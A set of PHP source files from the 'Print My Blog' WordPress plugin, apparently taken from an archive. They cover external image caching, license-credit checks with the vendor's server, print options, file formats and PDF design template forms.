$extension = pathinfo($external_url, PATHINFO_EXTENSION);
if (! $extension) {
$copy_filename .= '.avif';
}
$folder = $this->getCacheDir();
$response = wp_remote_get(
$external_url,
[
'sslverify' => false,
'timeout' => 15,
'user-agent' => 'PostmanRuntime/7.26.8',
'httpversion' => '1.1',
// streaming the file directly to the FS sounds more efficient, but it actually still goes into memory and seems buggy
// 'stream' => true,
// 'filename'=> $folder . $copy_filename,
]
);
if (is_array($response) && $response['response']['code'] === 200 && ! $response instanceof WP_Error) {
$filepath = $folder . '/' . $copy_filename;
$content = $response['body'];
$file = new File($filepath);
$file->write($content);
$this->external_resouce_manager->map($external_url, $copy_filename . $querystring);
} else {
$this->external_resouce_manager->map($external_url, null);
}
return $this->getLocalUrlFromExternalUrl($external_url);
}
/**
* @param string $external_url
* @return string|null|false null if not yet cached; false if there was an error caching it
*/
public function getLocalUrlFromExternalUrl($external_url)
{
$external_resource = $this->external_resouce_manager->getByExternalUrl($external_url);
if ($external_resource) {
if ($external_resource->getCopyFilename()) {
return $this->getCacheUrl() . $external_resource->getCopyFilename();
}
return false;
}
return null;
}
/**
* Gets the current mapping from external resources to copied resource URLs
* @return array|stdClass if it's empty (so WP's localize_script will still make it a JS object)
*/
public function getMapping()
{
foreach ($this->external_resouce_manager->getAllMapping() as $external_resource) {
$cached_filename = $external_resource->getCopyFilename();
if ($cached_filename) {
$cached_file_url = $this->getCacheUrl() . $external_resource->getCopyFilename();
} else {
$cached_file_url = null;
}
$mapping_absolute_urls[$external_resource->getExternalUrl()] = $cached_file_url;
}
if (empty($mapping_absolute_urls)) {
return new stdClass();
}
return $mapping_absolute_urls;
}
/**
* Arrays of domains to treat as local and to not cache locally.
* @return array
*/
public function domainsToNotMap()
{
return apply_filters(
'PrintMyBlog\services\ExternalResourceCache->domainsToNotMap()',
[
str_replace(['http://', 'https://'], '', site_url()),
'.wp.com',
'data:',
]
);
}
/**
* Clears the external resource cache.
*/
public function clear()
{
$this->external_resouce_manager->clear();
$folder = new Folder($this->getCacheDir());
$folder->delete();
}
}
PrintMyBlog/services/SectionTemplateRegistry.php 0000644 00000004563 14666776752 0016201 0 ustar 00 <?php
namespace PrintMyBlog\services;
use PrintMyBlog\entities\SectionTemplate;
use PrintMyBlog\system\Context;
/**
* Class SectionTemplateRegistry
* @package PrintMyBlog\services
*/
class SectionTemplateRegistry
{
/**
* @var array[][]
*/
protected $callback_args;
/**
* @var SectionTemplate[]
*/
protected $instances;
/**
* @var DesignTemplateRegistry
*/
private $design_template_registry;
/**
* Injected by Context.
* @param DesignTemplateRegistry $design_template_registry
*/
public function inject(DesignTemplateRegistry $design_template_registry)
{
$this->design_template_registry = $design_template_registry;
}
/**
* Registers the section template for use.
* @param string $slug
* @param string[] $design_templates
* @param callable $callback
* @throws \PrintMyBlog\exceptions\DesignTemplateDoesNotExist
*/
public function register($slug, $design_templates, $callback)
{
$this->callback_args[$slug] = $callback;
foreach ($design_templates as $design_template_slug) {
$design = $this->design_template_registry->getDesignTemplate($design_template_slug);
$design->addCustomTemplate($slug);
}
}
/**
* @param string $slug
* @return SectionTemplate|null
*/
public function get($slug)
{
if (! isset($this->instances[$slug])) {
$this->instances[$slug] = $this->createNew($slug, $this->callback_args[$slug]);
}
return $this->instances[$slug];
}
/**
* @return SectionTemplate[]
*/
public function getAll()
{
foreach ($this->callback_args as $slug => $callback) {
if (! isset($this->instances[$slug])) {
$this->get($slug);
}
}
return $this->instances;
}
/**
* @param string $slug
* @param array $args_callback see PrintMyBlog\entities\SectionTemplate::__construct to see what should be passed in
* @return object
*/
protected function createNew($slug, $args_callback)
{
$template = Context::instance()->useNew(
'PrintMyBlog\entities\SectionTemplate',
[
call_user_func($args_callback),
]
);
$template->constructFinalize($slug);
return $template;
}
}
PrintMyBlog/services/PersistentNotices.php 0000644 00000002131 14666776752 0015022 0 ustar 00 <?php
namespace PrintMyBlog\services;
use PrintMyBlog\domain\DefaultPersistentNotices;
use mnelson4\AdminNotices\Notices;
/**
* Class PersistentNotices
* @package PrintMyBlog\services
*/
class PersistentNotices
{
/**
* @var Notices
*/
protected $persistent_notices;
/**
* @var DefaultPersistentNotices
*/
protected $default_persistent_notices;
/**
* Called by Context.
* @param Notices $persistent_notices
* @param DefaultPersistentNotices $default_persistent_notices
*/
public function inject(
Notices $persistent_notices,
DefaultPersistentNotices $default_persistent_notices
) {
$this->persistent_notices = $persistent_notices;
$this->default_persistent_notices = $default_persistent_notices;
}
/**
* Gets and shows the persistent admin notices
*/
public function register()
{
foreach ($this->default_persistent_notices->getNotices() as $notice) {
$this->persistent_notices->add_notice($notice);
}
$this->persistent_notices->boot();
}
}
PrintMyBlog/services/PmbCentral.php 0000644 00000011761 14666776752 0013375 0 ustar 00 <?php
namespace PrintMyBlog\services;
use Exception;
use WP_Error;
/**
* Class PmbCentral
* Communicates with printmy.blog.
* @package PrintMyBlog\services
*/
class PmbCentral
{
/**
* Asks PMBCentral for info about this license' info.
* @param boolean $refresh
* @return array|WP_Error
* @throws Exception
*/
public function getCreditsInfo($refresh = false)
{
$license_id = pmb_fs()->_get_license()->id;
if (! $license_id) {
throw new Exception(__('No license ID available', 'print-my-blog'));
}
$install_id = pmb_fs()->get_site()->id;
$transient_name = $this->getCreditsTransientName();
$credit_data = false;
if ($refresh) {
delete_transient($transient_name);
} else {
$credit_data = get_transient($transient_name);
}
if ($credit_data === false) {
$url = $this->getCentralUrl() . 'licenses/' . $license_id . '/installs/' . $install_id . '/credits';
if ($refresh) {
$url = add_query_arg(
[
'refresh' => true,
],
$url
);
}
$response = wp_remote_get(
$url,
[
'headers' => [
'Authorization' => $this->getSiteAuthorizationHeader(),
],
'timeout' => 20,
]
);
if ($response instanceof WP_Error) {
throw new Exception($response->get_error_message(), (int)$response->get_error_code());
} else {
$body = wp_remote_retrieve_body($response);
$credit_data = json_decode($body, true);
if (isset($credit_data['code'], $credit_data['message'])) {
throw new Exception($credit_data['message'], $credit_data['code']);
}
if (is_array($credit_data) && isset($credit_data['expiry_date'])) {
// Legacy code using current_time that just works.
// phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
$time_to_expire = rest_parse_date($credit_data['expiry_date']) - current_time('timestamp');
set_transient($transient_name, $credit_data, $time_to_expire);
}
}
}
return $credit_data;
}
/**
* Gets the special "site signature", derived from the install's private key, to send to PMB central.
* @return string
* @throws Exception
*/
public function getSiteSignature()
{
$site = pmb_fs()->get_site();
if (! $site) {
throw new Exception(__('There is no site registered with Freemius', 'print-my-blog'));
}
$site_private_key = pmb_fs()->get_site()->secret_key;
// create the signature that verifies we own this license and install.
$nonce = gmdate('Y-m-d');
$pk_hash = hash('sha512', $site_private_key . '|' . $nonce);
// Server we're communicating with expects bas64 encoded data.
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
return base64_encode($pk_hash . '|' . $nonce);
}
/**
* Gets the header value for the site authorization
* @return string
*/
public function getSiteAuthorizationHeader()
{
return 'PMB ' . $this->getSiteSignature();
}
/**
* @return string
*/
public function getCreditsTransientName()
{
return 'pmb_license_credits';
}
/**
* Returns the current credits info, just like PmbCentral::getCreditsInfo()
* @return int
*/
public function reduceCredits()
{
$license_id = pmb_fs()->_get_license()->id;
$transient_name = $this->getCreditsTransientName();
$credit_data = get_transient($transient_name);
if ($credit_data === false) {
// ok it wasn't cached anyway, just update to whatever is correct
// no need to modify anything, that's already up-to-date
$credit_data = $this->getCreditsInfo();
} else {
// we already have it cached, just modify it then.
$credit_data['remaining_credits']--;
set_transient(
$transient_name,
$credit_data,
// Legacy code that just works using current_time, keep doing it.
//phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
rest_parse_date($credit_data['expiry_date']) - current_time('timestamp')
);
}
return $credit_data;
}
/**
* @return string
*/
public function getCentralUrl()
{
if (defined('PMB_CENTRAL_URL')) {
$central_base_url = PMB_CENTRAL_URL;
} else {
$central_base_url = 'https://printmy.blog/wp-json/pmb/v1/';
}
return $central_base_url;
}
}
PrintMyBlog/domain/DefaultSectionTemplates.php 0000644 00000004343 14666776752 0015560 0 ustar 00 <?php
namespace PrintMyBlog\domain;
/**
* Class DefaultSectionTemplates
* @package PrintMyBlog\domain
*/
class DefaultSectionTemplates
{
/**
* Registers default section templates.
*/
public function registerDefaultSectionTemplates()
{
pmb_register_section_template(
'single_column',
[
'mayer',
'haller',
],
function () {
return [
'title' => __('Single Column', 'print-my-blog'),
'fallback' => '',
];
}
);
pmb_register_section_template(
'just_content',
[
'classic_digital',
'buurma',
'mayer',
'classic_print',
'classic_epub',
'classic_word',
'haller',
],
function () {
return [
'title' => __('Fullpage Content', 'print-my-blog'),
'fallback' => 'article',
];
}
);
pmb_register_section_template(
'center_content',
[
'classic_digital',
'buurma',
'mayer',
'classic_print',
],
function () {
return [
'title' => __('Centered Content', 'print-my-blog'),
'fallback' => 'just_content',
];
}
);
pmb_register_section_template(
'just_content_in_columns',
[
'mayer',
'haller',
],
function () {
return [
'title' => __('Full Column Content', 'print-my-blog'),
'fallback' => 'just_content',
];
}
);
pmb_register_section_template(
'important_article',
[
'haller',
],
function () {
return [
'title' => __('Important', 'print-my-blog'),
'fallback' => '',
];
}
);
}
}
PrintMyBlog/domain/PrintOptions.php 0000644 00000023666 14666776752 0013451 0 ustar 00 <?php
namespace PrintMyBlog\domain;
/**
* Class PrintOptions
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class PrintOptions
{
/**
* @param bool $upsells
* @return array[]
*/
public function headerContentOptions($upsells = false)
{
return [
'show_site_title' => [
'label' => esc_html__('Site Title', 'print-my-blog'),
'default' => true,
],
'show_site_tagline' => [
'label' => esc_html__('Tagline', 'print-my-blog'),
'default' => true,
],
'show_site_url' => [
'label' => esc_html__('Site URL', 'print-my-blog'),
'default' => true,
],
'show_filters' => [
'label' => esc_html__('Filters Used', 'print-my-blog'),
'default' => true,
'help' => esc_html__('E.g. selected categories, taxonomies, and date range.', 'print-my-blog'),
],
'show_date_printed' => [
'label' => esc_html__('Date Printed', 'print-my-blog'),
'default' => true,
],
'show_credit' => [
'label' => esc_html__('Credit Print My Blog Plugin', 'print-my-blog'),
'default' => true,
'help' => sprintf(
// translators: 1: heart emoji
esc_html__('Show some love and tell your readers about Print My Blog %1$s', 'print-my-blog'),
'❤️'
),
],
];
}
/**
* @return array[]
*/
public function postContentOptions()
{
return [
'show_title' => [
'label' => esc_html__('Title', 'print-my-blog'),
'default' => true,
],
'show_id' => [
'label' => esc_html__('ID', 'print-my-blog'),
'default' => false,
],
'show_author' => [
'label' => esc_html__('Author', 'print-my-blog'),
'default' => false,
],
'show_url' => [
'label' => esc_html__('URL', 'print-my-blog'),
'default' => false,
],
'show_date' => [
'label' => esc_html__('Published Date', 'print-my-blog'),
'default' => true,
],
'show_categories' => [
'label' => esc_html__('Categories and Tags', 'print-my-blog'),
'default' => true,
],
'show_featured_image' => [
'label' => esc_html__('Featured Image', 'print-my-blog'),
'default' => true,
],
'show_excerpt' => [
'label' => esc_html__('Excerpt', 'print-my-blog'),
'default' => false,
],
'show_content' => [
'label' => esc_html__('Content', 'print-my-blog'),
'default' => true,
],
'show_comments' => [
'label' => esc_html__('Comments', 'print-my-blog'),
'default' => false,
],
'show_divider' => [
'label' => esc_html__('Extra dividing line at end of post', 'print-my-blog'),
'default' => false,
],
];
}
/**
* @param bool $upsells
* @return array[]
*/
public function pageLayoutOptions($upsells = false)
{
return [
'post_page_break' => [
'label' => esc_html__('Each Post Begins on a New Page', 'print-my-blog'),
'default' => true,
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('Whether to force posts to always start on a new page. Doing so makes the page more legible, but uses more paper.', 'print-my-blog'),
//phpcs:enable
],
'columns' => [
'label' => esc_html__('Columns', 'print-my-blog'),
'default' => 1,
'options' => [
1 => esc_html__('1', 'print-my-blog'),
2 => esc_html__('2', 'print-my-blog'),
3 => esc_html__('3', 'print-my-blog'),
],
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('The number of columns of text on each page. Not supported by some web browsers.', 'print-my-blog'),
//phpcs:enable
],
'font_size' => [
'label' => esc_html__('Font Size', 'print-my-blog') . ($upsells ? pmb_pro_better(__('Pro Print lets you specify header and text size and font', 'print-my-blog')) : ''),
'default' => 'normal',
'options' => [
'tiny' => esc_html__('Tiny (1/2 size)', 'print-my-blog'),
'small' => esc_html__('Small (3/4 size)', 'print-my-blog'),
'normal' => esc_html__('Normal (theme default)', 'print-my-blog'),
'large' => esc_html__('Large (slightly larger than normal)', 'print-my-blog'),
],
],
'image_size' => [
'label' => esc_html__('Image Size', 'print-my-blog'),
'default' => 'medium',
'options' => [
'full' => esc_html__('Full (theme default)', 'print-my-blog'),
'large' => esc_html__('Large (3/4 size)', 'print-my-blog'),
'medium' => esc_html__('Medium (1/2 size)', 'print-my-blog'),
'small' => esc_html__('Small (1/4 size)', 'print-my-blog'),
'none' => esc_html__('None (hide images)', 'print-my-blog'),
],
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('If you want to save paper, choose a smaller image size, or hide images altogether.', 'print-my-blog'),
//phpcs:enable
],
'links' => [
'label' => esc_html__('Include Hyperlinks', 'print-my-blog') . ($upsells ? pmb_pro_better(__('Pro Print with Pro PDF Service supports changing hyperlinks to page references or footnotes', 'print-my-blog')) : ''),
'default' => 'include',
'options' => [
'include' => esc_html__('Include', 'print-my-blog'),
'remove' => esc_html__('Remove', 'print-my-blog'),
'parens' => esc_html__('Replace with URL in Parenthesis', 'print-my-blog'),
],
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('Note: PDFs generated in Firefox and Safari automatically remove hyperlinks. If you want your PDF to include hyperlinks, please use another browser.', 'print-my-blog'),
//phpcs:enable
],
];
}
/**
* @since $VID:$
* @return array
*/
public function troubleshootingOptions()
{
return [
'rendering_wait' => [
'label' => esc_html__('Post Rendering Wait-Time', 'print-my-blog'),
//phpcs:disable Generic.Files.LineLength.TooLong
'default' => apply_filters('PrintMyBlog\domain\PrintOptions->troubleshootingOptions rendering_wait default', 200),
//phpcs:enable
'after_input' => esc_html__('ms', 'print-my-blog'),
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('Milliseconds to wait between rendering posts. If posts are rendered too quickly on the page, sometimes images won’t load properly. ', 'print-my-blog'),
//phpcs:enable
],
'include_inline_js' => [
'label' => esc_html__('Include Inline Javascript', 'print-my-blog'),
'default' => false,
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('Sometimes posts contain inline javascript which can cause errors and stop the page from rendering.', 'print-my-blog'),
//phpcs:enable
],
'shortcodes' => [
'label' => esc_html__('Include Unrendered Shortcodes', 'print-my-blog'),
'default' => false,
//phpcs:disable Generic.Files.LineLength.TooLong
'help' => esc_html__('If you left shortcodes from deactivated deactivated plugins or themes in your posts, they are automatically removed from printouts. Check this to leave them.', 'print-my-blog'),
//phpcs:enable
],
];
}
/**
* @param string $format
* @return array
*/
protected function defaultOverrides($format)
{
$overrides = [];
switch ($format) {
case 'pdf':
break;
case 'ebook':
break;
case 'print':
default:
$overrides['links'] = 'parens';
}
return $overrides;
}
/**
* Returns the print options
* @return array
*/
public function allPrintOptions()
{
return array_merge(
$this->troubleshootingOptions(),
$this->pageLayoutOptions(),
$this->headerContentOptions(),
$this->postContentOptions()
);
}
/**
* @since $VID:$
* @param string $format
* @return array keys are option names, values are their default values
*/
public function allPrintOptionDefaults($format = 'print')
{
$all = $this->allPrintOptions();
$defaults = [];
foreach ($all as $name => $details) {
$defaults[$name] = $details['default'];
}
return array_merge(
$defaults,
$this->defaultOverrides($format)
);
}
}
// End of file PrintOptions.php
// Location: ${NAMESPACE}/PrintOptions.php
PrintMyBlog/domain/DefaultFileFormats.php 0000644 00000006500 14666776752 0014505 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use PrintMyBlog\entities\FileFormat;
/**
* Class DefaultFileFormats
* @package PrintMyBlog\domain
*/
class DefaultFileFormats {
const DIGITAL_PDF = 'digital_pdf';
const PRINT_PDF = 'print_pdf';
const EPUB = 'epub';
const WORD = 'word';
/**
* Registers file formats.
*/
public function registerFileFormats() {
pmb_register_file_format( self::DIGITAL_PDF, [
'title' => __( 'Digital PDF', 'print-my-blog' ),
'icon' => 'dashicons-desktop',
'generator' => 'PrintMyBlog\\services\\generators\\PdfGenerator',
'default' => 'classic_digital',
'desc' => __( 'PDF file intended for viewing on a computer, tablet or phone, but not necessarily for printing to paper. Usually includes working hyperlinks, ample colors, and other features that require a device.', 'print-my-blog' ),
'color' => '#b3f0ff',
'extension' => 'pdf',
] );
pmb_register_file_format( self::PRINT_PDF, [
'title' => __( 'Print-Ready PDF', 'print-my-blog' ),
'icon' => 'dashicons-book-alt',
'generator' => 'PrintMyBlog\\services\\generators\\PdfGenerator',
'default' => 'classic_print',
'desc' => __( 'PDF file intended for printing on your home printer or with a printer service. Usually removes hyperlinks, avoids excessive ink use, and are designed for viewing the 2-page spread (using the front and back of a page).', 'print-my-blog' ),
'color' => '#B5F2B5',
'extension' => 'pdf',
] );
// only show it enabled if this version of PMB has the necessary files included.
$ebook_supported = false;
$word_supported = false;
pmb_register_file_format( self::EPUB, [
'title' => __( 'eBook (ePub)', 'print-my-blog' ),
'icon' => 'dashicons-tablet',
'generator' => 'PrintMyBlog\\services\\generators\\EpubGenerator',
'default' => 'classic_epub',
'desc' => __( 'ePub file intended for reading from an eReader, tablet, or phone; or for publishing on an eBook marketplace like Amazon\'s Kindle Direct Publishing, Apple Books, or Kobo.', 'print-my-blog' ),
'color' => '#ffcc00',
'extension' => 'epub',
'supported' => $ebook_supported,
'upsell' => __( 'Create unlimited ePubs with any purchase.', 'print-my-blog' ),
] );
pmb_register_file_format( self::WORD, [
'title' => __( 'Word Document', 'print-my-blog' ),
'icon' => 'dashicons-media-document',
'generator' => 'PrintMyBlog\\services\\generators\\WordGenerator',
'default' => 'classic_word',
'desc' => __( 'File editable in Microsoft Word, Google Docs, and LibreOffice (not Apple\'s Pages app, unfortunately). Useful for sharing persons and programs that require a ".doc" file. Word Documents typically require manual formatting in your chosen Word Processor.', 'print-my-blog' ),
'color' => '#ffbdde',
'extension' => 'doc',
'supported' => $word_supported,
'upsell' => __( 'Create unlimited Word Documents with a Pro Plan.', 'print-my-blog' ),
] );
}
}
PrintMyBlog/domain/DefaultProjectContents.php 0000644 00000003125 14666776752 0015416 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use PrintMyBlog\system\CustomPostTypes;
use WP_Error;
use WP_Post;
/**
* Class DefaultProjectContents
* @package PrintMyBlog\domain
*/
class DefaultProjectContents
{
/**
* Adds default content to db.
*/
public function addDefaultContents()
{
foreach ($this->getDefaultContents() as $slug => $postargs) {
$post = get_page_by_path($slug, OBJECT, CustomPostTypes::CONTENT);
if (! $post instanceof WP_Post) {
$postargs['post_type'] = CustomPostTypes::CONTENT;
$postargs['post_name'] = $slug;
$postargs['post_status'] = 'private';
wp_insert_post($postargs, true);
}
}
}
/**
* Returns an array describing all the default PMB content posts. Keys are their post_name,
* values will be passed into wp_insert_post() (plus we'll automatically set the post_type to the PMB content type,
* and set post_name using the array key.)
* @return array
*/
protected function getDefaultContents()
{
return apply_filters(
'PrintMyBlog\domain\DefaultProjectContents->getDefaultContents()',
[
'pmb-title-page' => [
'post_title' => __('Title Page', 'print-my-blog'),
'post_content' => '[pmb_title_page]',
],
'pmb-toc' => [
'post_title' => __('Table of Contents', 'print-my-blog'),
'post_content' => '[pmb_toc]',
],
]
);
}
}
PrintMyBlog/domain/PrintButtons.php 0000644 00000003624 14666776752 0013444 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use PrintMyBlog\system\Context;
use WP_Post;
/**
* Class PrintButtons
* @package PrintMyBlog\domain
*/
class PrintButtons
{
/**
* @var FrontendPrintSettings
*/
private $print_settings;
/**
* @param FrontendPrintSettings $print_settings
*/
public function inject(FrontendPrintSettings $print_settings)
{
$this->print_settings = $print_settings;
}
/**
* @param null $post
* @return string
* @throws \Exception
*/
public function getHtmlForPrintButtons($post = null)
{
if (! is_singular()) {
return '<!-- PMB print buttons is only displayed on a single post/page URLs-->';
}
if (is_int($post) || is_string($post)) {
$post = get_post($post);
}
if (! $post instanceof WP_Post) {
$post = get_post();
}
if ((! $post instanceof WP_Post || ! $post->ID || ! in_array($post->post_type, ['post', 'page'], true))) {
return '<!-- PMB print buttons are not displayed because there is no valid post of post type "post" or "page"-->';
}
/**
* @var $url_generator PrintPageUrlGenerator
*/
$url_generator = Context::instance()->useNew('PrintMyBlog\domain\PrintPageUrlGenerator', [$post]);
$html = '<div class="pmb-print-this-page wp-block-button">';
foreach ($this->print_settings->formats() as $slug => $settings) {
if (! $this->print_settings->isActive($slug)) {
continue;
}
$html .= sprintf(
' <a href="%s" class="button button-secondary wp-block-button__link" rel="nofollow">%s</a>',
esc_url($url_generator->getUrl($slug)),
esc_html($this->print_settings->getFrontendLabel($slug))
);
}
$html .= '</div>';
return $html;
}
}
PrintMyBlog/domain/DefaultDesignTemplates.php 0000644 00000174434 14666776752 0015376 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use PrintMyBlog\helpers\ImageHelper;
use PrintMyBlog\orm\entities\Design;
use Twine\forms\base\FormSectionDetails;
use Twine\forms\base\FormSection;
use Twine\forms\helpers\InputOption;
use Twine\forms\inputs\AdminFileUploaderInput;
use Twine\forms\inputs\CheckboxMultiInput;
use Twine\forms\inputs\ColorInput;
use Twine\forms\inputs\DatepickerInput;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\IntegerInput;
use Twine\forms\inputs\SelectInput;
use Twine\forms\inputs\SelectRevealInput;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\inputs\TextInput;
use Twine\forms\inputs\WysiwygInput;
use Twine\forms\inputs\YesNoInput;
use Twine\forms\strategies\validation\TextValidation;
/**
* Class DefaultDesignTemplates
* @package PrintMyBlog\domain
*/
class DefaultDesignTemplates {
/**
* @var ImageHelper
*/
private $image_helper;
/**
* @param ImageHelper $image_helper
*/
public function inject( ImageHelper $image_helper ) {
$this->image_helper = $image_helper;
}
/**
* Registers design templates.
*/
public function registerDesignTemplates() {
pmb_register_design_template( 'classic_print', function () {
return [
'title' => __( 'Classic Print PDf', 'print-my-blog' ),
'format' => 'print_pdf',
'dir' => PMB_DESIGNS_DIR . 'pdf/print/classic',
'url' => plugins_url( 'designs/pdf/print/classic', PMB_MAIN_FILE ),
'default' => 'classic_print',
'docs' => 'https://printmy.blog/user-guide/pdf-design/classic-print-pdf-and-variations/',
'supports' => ['front_matter', 'part', 'back_matter'],
'design_form_callback' => function () {
return $this->getDefaultDesignForm()->merge( $this->getDefaultPdfDesignForm() )->merge( new FormSection([
'subsections' => [
'image' => new FormSection([
'subsections' => $this->getImageSnapInputs(),
]),
'fonts' => new FormSectionDetails([
'html_summary' => __( 'Font Settings', 'print-my-blog' ),
'subsections' => [
'paragraph_indent' => new YesNoInput([
'default' => true,
'html_label_text' => __( 'Paragraph Indent', 'print-my-blog' ),
'html_help_text' => __( 'Indent the first line of each new paragraph instead of adding a paragraph break.', 'print-my-blog' ),
]),
],
]),
'links' => new FormSectionDetails([
'html_summary' => __( 'Link, Page Reference, and Footnote Settings', 'print-my-blog' ),
'subsections' => [
'internal' => new FormSection([
'subsections' => [
'internal_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'parens' => new InputOption(__( 'Replace with page reference', 'print-my-blog' )),
'footnote' => new InputOption(__( 'Replace with footnote', 'print-my-blog' )),
], [
'default' => ( pmb_fs()->is_premium() ? 'footnote' : 'parens' ),
'html_label_text' => __( 'Internal Hyperlinks', 'print-my-blog' ) . pmb_pro_print_service_only( __( 'Footnotes and page references only work with Pro PDF Service', 'print-my-blog' ) ),
'html_help_text' => __( 'How to display hyperlinks to content included in this project.', 'print-my-blog' ),
]),
'parens' => new FormSection([
'subsections' => [
'page_reference_text' => $this->getPageReferenceTextInput(),
],
]),
'footnote' => new FormSection([
'subsections' => [
'internal_footnote_text' => $this->getInternalFootnoteTextInput(),
],
]),
],
]),
'external' => new FormSection([
'subsections' => [
'external_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'footnote' => new InputOption(__( 'Replace with footnote', 'print-my-blog' )),
], [
'default' => ( pmb_fs()->is_premium() ? 'footnote' : 'remove' ),
'html_label_text' => __( 'External Hyperlinks', 'print-my-blog' ) . pmb_pro_print_service_only( __( 'Footnotes require Pro', 'print-my-blog' ) ),
'html_help_text' => __( 'How to display hyperlinks to content not included in this project.', 'print-my-blog' ),
]),
'footnote' => new FormSection([
'subsections' => [
'footnote_text' => $this->getExternalFootnoteTextInput(),
],
]),
],
]),
],
]),
'video_qr_codes' => $this->getVideoQRCodeInput(),
],
]) )->merge( $this->getGenericDesignForm() );
},
'project_form_callback' => function ( Design $design ) {
return $this->getDefaultProjectForm( $design );
},
];
} );
pmb_register_design_template( 'classic_digital', function () {
return [
'title' => __( 'Classic Digital PDF' ),
'format' => 'digital_pdf',
'default' => 'classic_digital',
'dir' => PMB_DESIGNS_DIR . 'pdf/digital/classic/',
'url' => plugins_url( 'designs/pdf/digital/classic', PMB_MAIN_FILE ),
'docs' => 'https://printmy.blog/user-guide/pdf-design/classic-digital-pdf-settings/',
'supports' => ['front_matter', 'back_matter', 'part'],
'design_form_callback' => function () {
return $this->getDefaultDesignForm()->merge( $this->getDefaultPdfDesignForm() )->merge( new FormSection([
'subsections' => [
'image' => new FormSection([
'subsections' => $this->getImageSnapInputs(),
]),
'links' => $this->getLinksInputs(),
'video_qr_codes' => $this->getVideoQRCodeInput(),
],
]) )->merge( $this->getGenericDesignForm() );
},
'project_form_callback' => function ( Design $design ) {
return $this->getDefaultProjectForm( $design );
},
];
} );
pmb_register_design_template( 'buurma', function () {
return [
'title' => __( 'Buurma Digital PDF' ),
'format' => 'digital_pdf',
'dir' => PMB_DESIGNS_DIR . 'pdf/digital/buurma/',
'default' => 'buurma',
'url' => plugins_url( 'designs/pdf/digital/buurma', PMB_MAIN_FILE ),
'docs' => 'https://printmy.blog/user-guide/pdf-design/buurma-whitepaper-digital-pdf/',
'supports' => ['front_matter', 'back_matter'],
'design_form_callback' => function () {
return ( new FormSection([
'subsections' => [
'title_page_banner_color' => new ColorInput([
'html_label_text' => __( 'Title Page Top-Banner Color', 'print-my-blog' ),
'html_help_text' => __( 'Image used at the top of the background on the title page.', 'print-my-blog' ),
'default' => '#02a5fd',
]),
'background_color' => new ColorInput([
'html_label_text' => __( 'Background Color', 'print-my-blog' ),
'html_help_text' => __( 'A gradient between this color and white will be used in the page backgrounds', 'print-my-blog' ),
'default' => '#82d7ff',
]),
'org' => new TextInput([
'html_label_text' => __( 'Organization Name', 'print-my-blog' ),
'html_help_text' => __( 'Shown in the title page. Eg "Institute of Print My Blog"', 'print-my-blog' ),
]),
'background_embellishment' => new AdminFileUploaderInput([
'html_label_text' => __( 'Background Embellishment', 'print-my-blog' ),
'html_help_text' => __( 'Faded image used as a full-page background on the title page, and next to the page number on numbered pages.', 'print-my-blog' ),
'default' => plugins_url( 'designs/pdf/digital/buurma/assets/logo.svg', PMB_MAIN_FILE ),
]),
'default_alignment' => $this->getDefaultAlignmentInput(),
'internal_footnote_text' => $this->getInternalFootnoteTextInput(),
'footnote_text' => $this->getExternalFootnoteTextInput(),
'video_qr_codes' => $this->getVideoQRCodeInput(),
],
]) )->merge( $this->getGenericDesignForm() );
},
'project_form_callback' => function ( Design $design ) {
return new FormSection([
'subsections' => [
'issue' => new TextInput([
'html_label_text' => __( 'Issue', 'print-my-blog' ),
'html_help_text' => __( 'Text that appears at the top-right of the cover' ),
]),
'byline' => new TextAreaInput([
'html_label_text' => __( 'ByLine', 'print-my-blog' ),
'html_help_text' => __( 'Project Author(s)', 'print-my-blog' ),
]),
'date' => new DatepickerInput([
'html_label_text' => __( 'Date Issued', 'print-my-blog' ),
'html_help_text' => __( 'Text that appears under the byline', 'print-my-blog' ),
]),
'cover_preamble' => new TextAreaInput([
'html_label_text' => __( 'Coverpage Preamble', 'print-my-blog' ),
'html_help_text' => __( 'Explanatory text that appears at the bottom of the cover page', 'print-my-blog' ),
]),
],
]);
},
];
} );
pmb_register_design_template( 'mayer', function () {
return [
'title' => __( 'Mayer Digital PDF' ),
'format' => 'digital_pdf',
'dir' => PMB_DESIGNS_DIR . 'pdf/digital/mayer/',
'default' => 'mayer',
'docs' => 'https://printmy.blog/user-guide/pdf-design/mayer-magazine-digital-pdf/',
'supports' => ['front_matter', 'part', 'back_matter'],
'url' => plugins_url( 'designs/pdf/digital/mayer', PMB_MAIN_FILE ),
'design_form_callback' => function () {
$design_form = ( new FormSection([
'subsections' => [
'post_content' => $this->getPostContentInput(),
'page_per_post' => new YesNoInput([
'default' => false,
'html_label_text' => __( 'Each Post Begins on a New Page', 'print-my-blog' ) . pmb_pro_better( __( 'Browser support for pagebreaks on columns is typically not very good.', 'print-my-blog' ) ),
'html_help_text' => __( 'Whether to force posts to always start on a new page. Doing so makes the page more legible, but uses more paper.', 'print-my-blog' ),
]),
'post_header_in_columns' => new YesNoInput([
'html_label_text' => __( 'Show Post Header inside Columns', 'print-my-blog' ),
'html_help_text' => __( 'Check this to make post header information, like title, date, author, etc, appear inside columns; uncheck this to have it take up the full page width', 'print-my-blog' ),
]),
'dividing_line' => new YesNoInput([
'html_label_text' => __( 'Show a Dividing Line Between Posts', 'print-my-blog' ),
]),
'images_full_column' => new YesNoInput([
'html_label_text' => __( 'Full-Column Images', 'print-my-blog' ),
